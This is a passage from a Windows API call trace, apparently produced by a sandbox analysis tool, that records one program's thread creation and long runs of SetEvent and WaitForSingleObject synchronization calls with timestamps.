	[0120.830] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0120.830] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) 

Thread:
	id = 3
	os_tid = 0xaf8

	[0028.429] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3248ff60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3248ff60*=0x74) returned 1
	[0028.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x100000, lpStartAddress=0x44bd00, lpParameter=0x123ba000, dwCreationFlags=0x10000, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78
	[0028.430] CloseHandle (hObject=0x78) returned 1
	[0028.430] SetEvent (hEvent=0x6c) returned 1
	[0028.430] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x78
	[0028.430] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0050.481] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0050.481] SetEvent (hEvent=0x80) returned 1
	[0050.481] SetEvent (hEvent=0x6c) returned 1
	[0050.481] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0050.482] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0050.482] SetEvent (hEvent=0x80) returned 1
	[0050.482] SetEvent (hEvent=0x6c) returned 1
	[0050.482] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0050.486] SetEvent (hEvent=0x80) returned 1
	[0050.486] SetEvent (hEvent=0x8c) returned 1
	[0050.486] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0050.487] SetEvent (hEvent=0x80) returned 1
	[0050.487] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0050.488] SetEvent (hEvent=0x8c) returned 1
	[0050.488] SetEvent (hEvent=0x6c) returned 1
	[0050.488] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0052.495] SetEvent (hEvent=0x8c) returned 1
	[0052.495] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0052.495] SetEvent (hEvent=0x8c) returned 1
	[0052.496] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0053.513] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0053.522] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0054.434] SetEvent (hEvent=0x6c) returned 1
	[0054.434] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0054.434] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0055.332] SetEvent (hEvent=0x6c) returned 1
	[0055.332] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0055.334] SetEvent (hEvent=0x8c) returned 1
	[0055.335] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0055.890] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0056.072] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0056.168] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0056.685] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0056.759] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0057.271] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0057.308] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0057.828] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0057.888] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0058.417] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0058.532] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0058.978] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0059.153] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0059.559] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0059.739] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0060.142] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0060.340] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0060.864] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0061.428] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0061.500] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0062.007] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0062.236] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0062.529] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0063.100] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0063.388] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0063.915] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0064.018] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0064.509] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0064.657] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0065.130] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0065.239] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0065.635] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.016] SetEvent (hEvent=0x6c) returned 1
	[0066.016] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.017] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.076] SetEvent (hEvent=0x6c) returned 1
	[0066.076] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.086] SetEvent (hEvent=0xb4) returned 1
	[0066.086] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.294] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.299] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.523] SetEvent (hEvent=0x6c) returned 1
	[0066.524] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.524] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.682] SetEvent (hEvent=0x6c) returned 1
	[0066.682] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0066.683] SetEvent (hEvent=0xb4) returned 1
	[0066.683] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.047] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.049] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.228] SetEvent (hEvent=0x8c) returned 1
	[0067.228] SetEvent (hEvent=0xb4) returned 1
	[0067.228] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0067.230] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.231] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0067.231] SetEvent (hEvent=0x8c) returned 1
	[0067.231] SetEvent (hEvent=0xb4) returned 1
	[0067.231] SetEvent (hEvent=0x80) returned 1
	[0067.231] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.231] SetEvent (hEvent=0x80) returned 1
	[0067.232] SetEvent (hEvent=0x6c) returned 1
	[0067.232] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.237] SetEvent (hEvent=0x6c) returned 1
	[0067.237] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.238] SetEvent (hEvent=0x6c) returned 1
	[0067.238] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.238] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.259] SetEvent (hEvent=0x6c) returned 1
	[0067.259] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.260] SetEvent (hEvent=0x80) returned 1
	[0067.260] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.361] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.361] SetEvent (hEvent=0x80) returned 1
	[0067.362] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.362] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.445] SetEvent (hEvent=0x8c) returned 1
	[0067.445] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.446] SetEvent (hEvent=0x8c) returned 1
	[0067.446] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.453] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.472] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.507] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.523] SetEvent (hEvent=0x8c) returned 1
	[0067.523] SetEvent (hEvent=0xb4) returned 1
	[0067.523] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0067.526] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.526] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0067.527] SetEvent (hEvent=0x8c) returned 1
	[0067.527] SetEvent (hEvent=0xb4) returned 1
	[0067.527] SetEvent (hEvent=0x80) returned 1
	[0067.527] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.527] SetEvent (hEvent=0xa8) returned 1
	[0067.527] SetEvent (hEvent=0x80) returned 1
	[0067.527] SetEvent (hEvent=0x6c) returned 1
	[0067.527] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.532] SetEvent (hEvent=0x6c) returned 1
	[0067.532] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.534] SetEvent (hEvent=0x6c) returned 1
	[0067.534] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.534] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.554] SetEvent (hEvent=0x6c) returned 1
	[0067.554] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.555] SetEvent (hEvent=0x80) returned 1
	[0067.555] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.595] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.596] SetEvent (hEvent=0x80) returned 1
	[0067.596] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.596] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.667] SetEvent (hEvent=0x8c) returned 1
	[0067.667] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.667] SetEvent (hEvent=0x8c) returned 1
	[0067.667] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.674] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.693] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.735] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.760] SetEvent (hEvent=0x8c) returned 1
	[0067.761] SetEvent (hEvent=0xb4) returned 1
	[0067.761] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0067.763] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.763] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0067.763] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.763] SetEvent (hEvent=0x8c) returned 1
	[0067.763] SetEvent (hEvent=0xb4) returned 1
	[0067.763] SetEvent (hEvent=0x80) returned 1
	[0067.763] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.764] SetEvent (hEvent=0xa8) returned 1
	[0067.764] SetEvent (hEvent=0x80) returned 1
	[0067.764] SetEvent (hEvent=0x6c) returned 1
	[0067.764] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.785] SetEvent (hEvent=0x6c) returned 1
	[0067.785] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.796] SetEvent (hEvent=0x6c) returned 1
	[0067.796] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.796] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.799] SetEvent (hEvent=0x6c) returned 1
	[0067.800] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.803] SetEvent (hEvent=0x80) returned 1
	[0067.803] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.851] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.872] SetEvent (hEvent=0x6c) returned 1
	[0067.872] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.877] SetEvent (hEvent=0x6c) returned 1
	[0067.877] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.877] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.880] SetEvent (hEvent=0x6c) returned 1
	[0067.880] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.882] SetEvent (hEvent=0xb4) returned 1
	[0067.882] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.935] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.955] SetEvent (hEvent=0x6c) returned 1
	[0067.955] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.960] SetEvent (hEvent=0x6c) returned 1
	[0067.960] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.961] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.964] SetEvent (hEvent=0x6c) returned 1
	[0067.964] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0067.965] SetEvent (hEvent=0x80) returned 1
	[0067.965] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.008] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.028] SetEvent (hEvent=0x6c) returned 1
	[0068.028] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.033] SetEvent (hEvent=0x6c) returned 1
	[0068.033] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.033] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.037] SetEvent (hEvent=0x6c) returned 1
	[0068.037] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.038] SetEvent (hEvent=0xb4) returned 1
	[0068.038] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.084] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.102] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.110] SetEvent (hEvent=0x6c) returned 1
	[0068.110] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.137] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.191] SetEvent (hEvent=0x6c) returned 1
	[0068.191] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.192] SetEvent (hEvent=0x80) returned 1
	[0068.192] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.272] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.309] SetEvent (hEvent=0x6c) returned 1
	[0068.309] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.323] SetEvent (hEvent=0x6c) returned 1
	[0068.323] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.337] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.389] SetEvent (hEvent=0x6c) returned 1
	[0068.389] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.402] SetEvent (hEvent=0xb4) returned 1
	[0068.402] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.443] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.463] SetEvent (hEvent=0x6c) returned 1
	[0068.463] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.468] SetEvent (hEvent=0x6c) returned 1
	[0068.468] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.468] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.471] SetEvent (hEvent=0x6c) returned 1
	[0068.471] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.472] SetEvent (hEvent=0x80) returned 1
	[0068.473] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.513] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.533] SetEvent (hEvent=0x6c) returned 1
	[0068.533] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.538] SetEvent (hEvent=0x6c) returned 1
	[0068.538] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.538] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.541] SetEvent (hEvent=0x6c) returned 1
	[0068.541] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.542] SetEvent (hEvent=0xb4) returned 1
	[0068.542] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.586] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.607] SetEvent (hEvent=0x6c) returned 1
	[0068.607] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.612] SetEvent (hEvent=0x6c) returned 1
	[0068.612] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.612] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.616] SetEvent (hEvent=0x6c) returned 1
	[0068.616] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.617] SetEvent (hEvent=0x80) returned 1
	[0068.617] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.663] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.683] SetEvent (hEvent=0x6c) returned 1
	[0068.683] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.688] SetEvent (hEvent=0x6c) returned 1
	[0068.688] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.689] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.692] SetEvent (hEvent=0x6c) returned 1
	[0068.692] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.693] SetEvent (hEvent=0xb4) returned 1
	[0068.693] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.925] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.976] SetEvent (hEvent=0x6c) returned 1
	[0068.976] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.983] SetEvent (hEvent=0x6c) returned 1
	[0068.983] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.983] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.988] SetEvent (hEvent=0x6c) returned 1
	[0068.988] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0068.989] SetEvent (hEvent=0x80) returned 1
	[0068.989] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.042] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.059] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.065] SetEvent (hEvent=0x6c) returned 1
	[0069.065] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.066] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.069] SetEvent (hEvent=0x6c) returned 1
	[0069.069] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.070] SetEvent (hEvent=0xb4) returned 1
	[0069.070] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.116] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.137] SetEvent (hEvent=0x6c) returned 1
	[0069.137] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.142] SetEvent (hEvent=0x6c) returned 1
	[0069.142] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.142] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.145] SetEvent (hEvent=0x6c) returned 1
	[0069.145] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.146] SetEvent (hEvent=0x80) returned 1
	[0069.146] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.201] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.224] SetEvent (hEvent=0x6c) returned 1
	[0069.224] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.229] SetEvent (hEvent=0x6c) returned 1
	[0069.229] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.229] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.232] SetEvent (hEvent=0x6c) returned 1
	[0069.232] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.233] SetEvent (hEvent=0xb4) returned 1
	[0069.233] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.276] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.281] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.302] SetEvent (hEvent=0x6c) returned 1
	[0069.302] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.302] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.306] SetEvent (hEvent=0x6c) returned 1
	[0069.306] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.307] SetEvent (hEvent=0x80) returned 1
	[0069.307] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.674] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.720] SetEvent (hEvent=0x6c) returned 1
	[0069.720] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.735] SetEvent (hEvent=0x6c) returned 1
	[0069.735] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.836] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.854] SetEvent (hEvent=0x6c) returned 1
	[0069.854] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.856] SetEvent (hEvent=0xb4) returned 1
	[0069.856] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.900] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.920] SetEvent (hEvent=0x6c) returned 1
	[0069.920] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.925] SetEvent (hEvent=0x6c) returned 1
	[0069.925] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.926] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.929] SetEvent (hEvent=0x6c) returned 1
	[0069.929] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.930] SetEvent (hEvent=0x80) returned 1
	[0069.930] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.973] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.992] SetEvent (hEvent=0x6c) returned 1
	[0069.992] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.997] SetEvent (hEvent=0x6c) returned 1
	[0069.997] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0069.998] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.001] SetEvent (hEvent=0x6c) returned 1
	[0070.001] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.002] SetEvent (hEvent=0xb4) returned 1
	[0070.002] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.046] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.063] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.070] SetEvent (hEvent=0x6c) returned 1
	[0070.070] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.071] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.075] SetEvent (hEvent=0x6c) returned 1
	[0070.075] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.076] SetEvent (hEvent=0x80) returned 1
	[0070.076] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.127] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.151] SetEvent (hEvent=0x6c) returned 1
	[0070.151] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.156] SetEvent (hEvent=0x6c) returned 1
	[0070.156] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.156] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.160] SetEvent (hEvent=0x6c) returned 1
	[0070.160] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0070.161] SetEvent (hEvent=0xb4) returned 1
	[0070.161] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
